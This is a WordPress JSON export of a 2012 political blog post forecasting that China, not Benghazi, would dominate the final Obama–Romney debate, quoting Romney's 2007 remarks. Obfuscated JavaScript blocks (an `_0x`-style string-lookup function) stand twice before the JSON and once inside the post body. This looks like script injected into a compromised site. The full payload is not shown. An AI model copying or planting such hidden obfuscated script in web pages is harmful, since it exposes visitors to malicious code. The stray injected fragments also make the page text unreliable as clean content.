<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":2205,"date":"2012-10-22T07:00:32","date_gmt":"2012-10-22T14:00:32","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=2205"},"modified":"2012-10-21T19:50:30","modified_gmt":"2012-10-22T02:50:30","slug":"tomorrows-surprise-china","status":"publish","type":"post","link":"http:\/\/www.jsharf.com\/view\/?p=2205","title":{"rendered":"Tonight&#8217;s Surprise &#8211; China?"},"content":{"rendered":"<p>In trying to anticipate Monday night&#8217;s debate, we&#8217;re all thinking about Benghazi. \u00a0(Well, all of us except the\u00a0<em>New York Times,<\/em>\u00a0in whose Sunday edition the word does not appear.) \u00a0But the White House has more or less gone silent on Benghazi in the last few days, refusing to answer questions about it. \u00a0And they have to know that Romney will know the timelines backwards and forwards, ready to remind people of what they know they&#8217;ve heard.<\/p>\n<p>What if, instead of trying to rebut the charges &#8211; surely a futile task &#8211; President Obama tries instead to divert attention? \u00a0Where would they turn.<\/p>\n<p>I think the answer is China. \u00a0First, <a href=\"http:\/\/www.nationalreview.com\/corner\/331102\/obama-media-reportedly-preparing-slam-romney-flip-flopper-china-eliana-johnson\" target=\"_blank\">reports are<\/a> that the administration is going to trot out a <a href=\"http:\/\/www.youtube.com\/watch?v=jh2jJSsncHQ\" target=\"_blank\">5-year-old video<\/a> from Mitt Romney&#8217;s last presidential run, showing him, ah, not hating China. \u00a0Here&#8217;s what he says:<\/p>\n<blockquote>\n<blockquote><p>You know, I think it\u2019s important first for the American people and our leadership to understand that China is not like the Soviet Union of old. \u00a0The Soviet Union, Khrushchev in particular, wanted to bury us. \u00a0China doesn\u2019t want to bury us, they want to see us succeed and thrive so that we can buy more Chinese products and they\u2019re a competitor economically. \u00a0More power to \u2018em, we know how to compete. \u00a0We want to make sure that competition is fair and legal, and that they protect our intellectual property rights and that they have a monetary policy that\u2019s fair, so we\u2019ve got some challenges to make sure that the playing field is level with China, but we can compete, we can be successful with China, and I will reach out to them, I\u2019ve already met with their leadership and will do so again if I\u2019m lucky enough to be president. Making China a partner for stability in the world will be one of my highest priorities.<\/p>\n<p>China is really key in many respects as they become a very large economy; their GNP is going to surpass ours at some point just given the scale of the nation\u2019s population. \u00a0We have to recognize that they\u2019re going to be an economic powerhouse like us. \u00a0And with that reality we gotta make sure that we are friendly, that we understand each other, that we\u2019re open in communicating, and that we\u2019re collaborating on important topics, like keeping North Korea from pursuing the nuclear armament which they\u2019ve begun, getting Iran to abandon their nuclear ambitions, China and we together will have a great deal of positive influence for stability if we\u2019re able to work that relationship properly.<\/p><\/blockquote>\n<\/blockquote>\n<p>It&#8217;s unclear why the Obama campaign thinks this is damning, but I suppose you could take the words, &#8220;China doesn\u2019t want to bury us, they want to see us succeed and thrive so that we can buy more Chinese products,&#8221; out of context, and try to portray Romney as a flip-flopper on China. \u00a0I don&#8217;t think it&#8217;ll work. \u00a0I think Romney knows what he said, and in his calm, smooth, reassuring style will remind us that he was insisting that we make China play by the rules, because it&#8217;s in everyone&#8217;s interest.<\/p>\n<p>I suppose it&#8217;s also possible that they&#8217;ll use the second half of the statement to claim that Romney is naive on China. \u00a0But coming from a president whose naivete on the Middle East is unsurpassed in several generations, and whose &#8220;pivot to Asia&#8221; is about to be undermined by drastic budget cuts to the Navy, that probably won&#8217;t work too well, either.<\/p>\n<p>Obama may also try to use China to salvage his Solyndra <del>payoff<\/del>\u00a0investment, inasmuch as that company&#8217;s remnants are <a href=\"http:\/\/www.csmonitor.com\/Environment\/Energy-Voices\/2012\/1017\/Solyndra-sues-Chinese-solar-companies\" target=\"_blank\">suing Chinese solar companies<\/a>, trying to blame them for Solyndra&#8217;s failed business model. \u00a0Doing that would give him a two-fer: getting to play the Romney-the-outsourcer card, while saying that China is eating our lunch on green technologies, and that he&#8217;s the guy to put a stop to it. \u00a0(Never mind that China&#8217;s <a href=\"http:\/\/www.governorswindenergycoalition.org\/?p=3524\" target=\"_blank\">paying a heavy price<\/a> for its own market interventions, even as they continue to blame the West for it.)<\/p>\n<p>So keep an eye on China this evening. \u00a0That may be where the real fireworks come from.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In trying to anticipate Monday night&#8217;s debate, we&#8217;re all thinking about Benghazi. \u00a0(Well, all of us except the\u00a0New York Times,\u00a0in whose Sunday edition the word does not appear.) \u00a0But the White House has more or less gone silent on Benghazi in the last few days, refusing to answer questions about it. \u00a0And they have to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[116,31,24,23,51],"tags":[380,379],"_links":{"self":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/2205"}],"collection":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2205"}],"version-history":[{"count":3,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/2205\/revisions"}],"predecessor-version":[{"id":2209,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/2205\/revisions\/2209"}],"wp:attachment":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2205"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2205"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2205"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}